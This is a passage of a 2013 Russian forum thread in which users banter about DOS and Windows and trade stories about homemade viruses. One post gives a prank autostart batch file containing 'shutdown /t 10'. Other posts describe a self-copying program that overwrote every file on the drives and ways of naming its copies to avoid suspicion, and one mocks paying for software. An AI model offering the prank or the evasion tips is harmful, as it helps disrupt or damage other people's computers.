« Ответ #54 : 13 Мая 2013, 23:18:03 »

А еще - дискету 3,5.

Дискета 3.5 А ---- это наше все ! Ещё можно в AUTOEXEC.BAT собственное имя записать если установлена работоспособная ДОС .

Кстати насчёт AAUTOEXEC А
Вспоминается великий и могучий хит всех времен и народов ---- запустить в каталог " Автозагрузка " файл с расширением  .bat и вот с таким содержанием :

shutdown /t 10
« Последнее редактирование: 13 Мая 2013, 23:29:17 от Мышьяк . »
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #55 : 13 Мая 2013, 23:35:44 »

Вин мастдай заценил. Работает. Обидно за винду только. Вы сейчас какой операционкой пользуетесь? Виндой, естественно?

7 .
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #56 : 13 Мая 2013, 23:43:26 »

Обидно за винду только.

Почему , неужто Вы -- поклонник Баала ?
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #57 : 13 Мая 2013, 23:54:18 »

Та прога искала все файлы на всех логических дисках компа и заменяла их собой.

Чтобы не стирать файлы , можно записывать себя под случайным названием ( именем ) . Правда после этого программа даже формально перестанет считаться вирусом .

Тут , понимешь , был такой случай . Написал я эту могучую прогу и забил на язык СИ . А на диске после отладки остались штук тысяча разных её копий и все под разными именами . Установил , я , значит , шутки ради игру Aliens versus Predator . У ней установочный файл в виде  одного EXE - файла . Вернее не установил , а скопировал этот файл , причём он был у меня в единственном экземляре . И случайно нажал не ту клавишу , запустил свой аццкей недовирус . Он взял и переписал весь файл игры , причём файл после этого не работает вообще ( хотя по логике должен работать ) а только говорит " Превед Медвед  " . Так я лишился игры .
Записан

Кумехтар

  • Страж
  • Ветеран
  • *****
  • Оффлайн Оффлайн
  • Сообщений: 8848
    • Просмотр профиля
Re: ФУНКЦИИ СИ .
« Ответ #58 : 14 Мая 2013, 09:11:11 »

Сейчас первенство удерживает вирус kyjack размером всего 4 байта.

Я уже давно считаю, что такие вирусы не имеют смысла. Файл размером 4 байта... Кто бы чего там не говорил, но такой файл вызывает подозрения, да и антивируска их ловит. В качестве соревнования - да, круто. В качестве реально рабочего вируса - такой размер не катит. А вот файл размером в 400 килобайт - другое дело.

Вин мастдай заценил. Работает. Обидно за винду только. Вы сейчас какой операционкой пользуетесь? Виндой, естественно?

7 .

Марш на Линукс!!! Не любите Винду - нечего ей пользоваться! А пользуетесь - нечего ворчать.

Почему , неужто Вы -- поклонник Баала ?

Важнейший недостаток Винды - цена. Остальное - ерунда.

Чтобы не стирать файлы , можно записывать себя под случайным названием ( именем ) . Правда после этого программа даже формально перестанет считаться вирусом .

Тут вся соль была в том, чтобы новосозданные ексешники не вызывали подозрений, ведь размножение этого вируса было рассчитано в основном на человеческий фактор. И рассчет полностью оправдался.

И случайно нажал не ту клавишу , запустил свой аццкей недовирус . Он взял и переписал весь файл игры , причём файл после этого не работает вообще ( хотя по логике должен работать ) а только говорит " Превед Медвед  " . Так я лишился игры .

Сочувствую)))))
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #59 : 15 Мая 2013, 03:56:28 »

Кто бы чего там не говорил, но такой файл вызывает подозрения, да и антивируска их ловит.

А почему он у ламера должен вызвать подозрения ?
А вот файл размером в 400 килобайт - другое дело.

Ха-ха ! Шутка что ли ? Нет , вирус должен быть маленьким .

Марш на Линукс!!! Не любите Винду - нечего ей пользоваться! А пользуетесь - нечего ворчать.
Я ---- нуп в Линуксах . К томуже игр для него нет . И варкрафт не работает там . И вообще от стандарта POsix я не тащусь . Что там есть полезного ?

А проклясть вин32 и презирать его ---- это священный долг каждого нуба , ламера и хеллоувордщика ( и всех юзеров вин32 вообще ) . Ибо иначе ---- нельзя .


Важнейший недостаток Винды - цена. Остальное - ерунда.

Какая еще цена .

Господь с Вами ! Да поможет Вам благодатный дух преподобных святых фон неймана и Вирта !  Мы живём в России . Ободрать проклятых заморских буржуев и никогда им ничего не платить ---- это наш священнейший долг и обязанность ! Да чтоб мне сто лет программировать многопоточность в Дос в защищенном режиме на интерпретаторе Microsoft QBasik если я соглашусь установить лицензионные программы ! Чтоб мне музыку слушать и фильмы смотреть в чистом ДОС без монитора и без мыши , без нортон коммандора и драйверов , если я на это соглашусь добровольно .


Тут вся соль была в том, чтобы новосозданные ексешники не вызывали подозрений, ведь размножение этого вируса было рассчитано в основном на человеческий фактор. И рассчет полностью оправдался.


Ага ! Значит , прога была испытана ! Пдробности в студию !
Записан